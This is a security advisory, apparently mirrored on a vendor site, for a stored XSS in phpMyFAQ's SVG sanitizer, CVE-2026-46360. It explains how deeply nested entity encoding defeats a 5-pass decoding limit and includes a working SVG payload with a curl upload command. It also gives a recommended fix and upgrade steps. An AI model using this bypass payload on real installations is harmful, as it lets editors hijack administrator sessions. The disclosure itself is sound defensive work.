GHSA-whqh-9pq5-c7r3 CVE-2026-46360
phpMyFAQ has a SVG Sanitizer Entity Decoding Depth Limit Bypass Leading to Stored XSS
- Severity
- 5.1 / 10
- Medium · CVSS 4.0
- Exploit chance (EPSS)
- 0.19%
- Chance of exploitation in the next 30 days. Higher than 8.33% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix
- Available
- 2 packages have a fixed version
Description
Summary
The SvgSanitizer::decodeAllEntities() method limits recursive entity decoding to 5 iterations. By wrapping each character of javascript in an href attribute value with 5 levels of & encoding around numeric HTML entities (e.g., j for j), an attacker can bypass both isSafe() detection and sanitize() removal. The uploaded SVG is served from the application origin with image/svg+xml content type, and the browser's XML parser fully decodes the remaining &#NNN; entities, resulting in a clickable javascript: link that executes arbitrary JavaScript.
Details
Root cause: decodeAllEntities() at phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249 limits entity decoding to maxIterations=5. Each iteration: (1) decodes &#NNN; numeric entities, (2) decodes &#xHH; hex entities, (3) calls html_entity_decode() which resolves one level of & → &. With 5 levels of & wrapping, all 5 iterations are consumed unwinding the & nesting, leaving the final &#NNN; numeric entities unresolved.
Code path:
- Authenticated user with
FAQ_EDITpermission uploads SVG viaPOST /admin/api/content/images(ImageController::upload()at line 39) - File extension is
svg→SvgSanitizer::isSafe()called (line 114) isSafe()callsdecodeAllEntities()— 5 iterations resolve&nesting but leaveja...(numeric entities forjavascript)- Pattern matching at line 47 (
/href\s*=\s*["\'][\s]*javascript\s*:/i) does not matchja... isSafe()returns true — file saved without any sanitization- SVG served directly by web server from
content/user/images/withimage/svg+xmlMIME type - Browser's XML parser decodes
j→j,a→a, etc., reconstructingjavascript:alert(document.domain) - User clicks the SVG link → JavaScript executes in the phpMyFAQ origin
The bypass is even simpler than initially described — no <script> decoy tag is needed. Since isSafe() itself is bypassed, the file is stored without sanitization and the sanitize() code path is never reached.
Relevant code in decodeAllEntities():
// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249
private function decodeAllEntities(string $content): string
{
$previous = '';
$decoded = $content;
$maxIterations = 5; // <-- insufficient for 5 levels of & + numeric entity
while ($decoded !== $previous && $maxIterations-- > 0) {
$previous = $decoded;
// Step 1: Decode decimal entities (j → j)
$decoded = preg_replace_callback('/&#(\d+);/', ...);
// Step 2: Decode hex entities (j → j)
$decoded = preg_replace_callback('/&#x([0-9a-fA-F]+);/', ...);
// Step 3: Decode named HTML entities (& → &)
$decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
// After 5 iterations with 5 & levels: j remains undecoded
return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', '', $decoded);
}
PoC
Upload an SVG file containing a javascript: href where each character of javascript is entity-encoded with 5 levels of & nesting around numeric entities. No <script> decoy is required — isSafe() itself is bypassed.
Step 1: Create malicious SVG file (xss.svg):
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
<a href="&amp;amp;amp;amp;#106;&amp;amp;amp;amp;#97;&amp;amp;amp;amp;#118;&amp;amp;amp;amp;#97;&amp;amp;amp;amp;#115;&amp;amp;amp;amp;#99;&amp;amp;amp;amp;#114;&amp;amp;amp;amp;#105;&amp;amp;amp;amp;#112;&amp;amp;amp;amp;#116;:alert(document.domain)">
<circle cx="100" cy="100" r="80" fill="red"/>
<text x="100" y="110" text-anchor="middle" fill="white" font-size="20">Click me</text>
</a>
</svg>
Step 2: Upload via admin image upload endpoint:
curl -b 'session_cookie' \
-F "files[]=@xss.svg" \
"https://TARGET/admin/api/content/images?csrf=VALID_TOKEN"
Expected response: {"success": true, ...} with the uploaded file URL.
Step 3: Access the uploaded SVG directly:
https://TARGET/content/user/images/1712345678_xss.svg
The browser renders the SVG as image/svg+xml. The XML parser decodes j → j, a → a, etc., producing href="javascript:alert(document.domain)". Clicking the red circle executes JavaScript in the phpMyFAQ origin.
Impact
- Stored XSS: Any user (including other administrators) who views and clicks the malicious SVG link has JavaScript executed in their browser within the phpMyFAQ origin.
- Session hijacking: Attacker can steal session cookies and CSRF tokens of other admins.
- Privilege escalation: An editor-level user can execute JavaScript as a super-admin who views the image, potentially gaining full administrative control.
- Data exfiltration: Access to all FAQ content, user data, and configuration accessible through the admin interface.
The blast radius is limited by the requirement that a victim must click the link within the SVG. However, the SVG can be crafted to make the clickable area cover the entire visible image (as shown in the PoC), and the attacker controls the visual appearance.
Recommended Fix
The root cause is that decodeAllEntities() can be exhausted by deeply nested & encoding. The fix should ensure that after the decoding loop exits, a final pass of numeric/hex entity decoding is performed:
// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php - decodeAllEntities()
private function decodeAllEntities(string $content): string
{
$previous = '';
$decoded = $content;
$maxIterations = 10; // Increase from 5 to handle deeper nesting
while ($decoded !== $previous && $maxIterations-- > 0) {
$previous = $decoded;
$decoded = preg_replace_callback(
'/&#(\d+);/',
static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),
$decoded,
);
$decoded = preg_replace_callback(
'/&#x([0-9a-fA-F]+);/',
static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),
$decoded,
);
$decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8');
}
// Safety net: if the loop exited due to iteration limit, do a final
// numeric/hex entity decode pass to catch any remaining &#NNN; entities
$decoded = preg_replace_callback(
'/&#(\d+);/',
static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),
$decoded,
);
$decoded = preg_replace_callback(
'/&#x([0-9a-fA-F]+);/',
static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),
$decoded,
);
return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', replacement: '', subject: $decoded);
}
Additionally, consider serving uploaded SVG files with Content-Disposition: attachment or Content-Type: application/octet-stream to prevent browser rendering, as a defense-in-depth measure.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| phpmyfaq/phpmyfaq | < 4.1.2 |
4.1.2 |
| thorsten/phpmyfaq | < 4.1.2 |
4.1.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
phpmyfaq/phpmyfaq Packagist → 4.1.2
- composer
composer require phpmyfaq/phpmyfaq:^4.1.2
thorsten/phpmyfaq Packagist → 4.1.2
- composer
composer require thorsten/phpmyfaq:^4.1.2
Severity breakdown
CVSS 4.0 5.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- Passive
- Confidentiality (vulnerable system)
- Low
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- Low
- Integrity (subsequent systems)
- Low
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 5.4
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Weakness
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-rw77-vq4g-x3hp phpMyFAQ has SQL Injection in `StopWords::add()` — Unescaped Stop Word Insertion | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-8gpw-xvpf-hvx5 phpMyFAQ's two-factor authentication login bypasses the password factor | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-pgwp-vc7q-cvj3 phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-6pvm-2vjj-rx4w phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration | Medium | Also affects thorsten/phpmyfaq |
| GHSA-mf8r-wm2w-f8c5 phpMyFAQ public FAQ APIs expose inactive FAQ content | Medium | Also affects phpmyfaq/phpmyfaq |
| GHSA-88g4-74f3-63x9 phpMyFAQ has Potential Authenticated Path Traversal in PDF Export | Medium | Also affects phpmyfaq/phpmyfaq |
| GHSA-pg62-f8g4-4wqh phpMyFAQ privilege escalation: GroupController::updatePermissions lets a GROUP_EDIT admin grant rights they do not hold | High | Also affects phpmyfaq/phpmyfaq |
| GHSA-985r-q3qp-299h phpMyFAQ has an incomplete fix for GHSA-xvp4-phqj-cjr3 — editUser() and updateUserRights() lack authorization guards | High | Also affects phpmyfaq/phpmyfaq |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor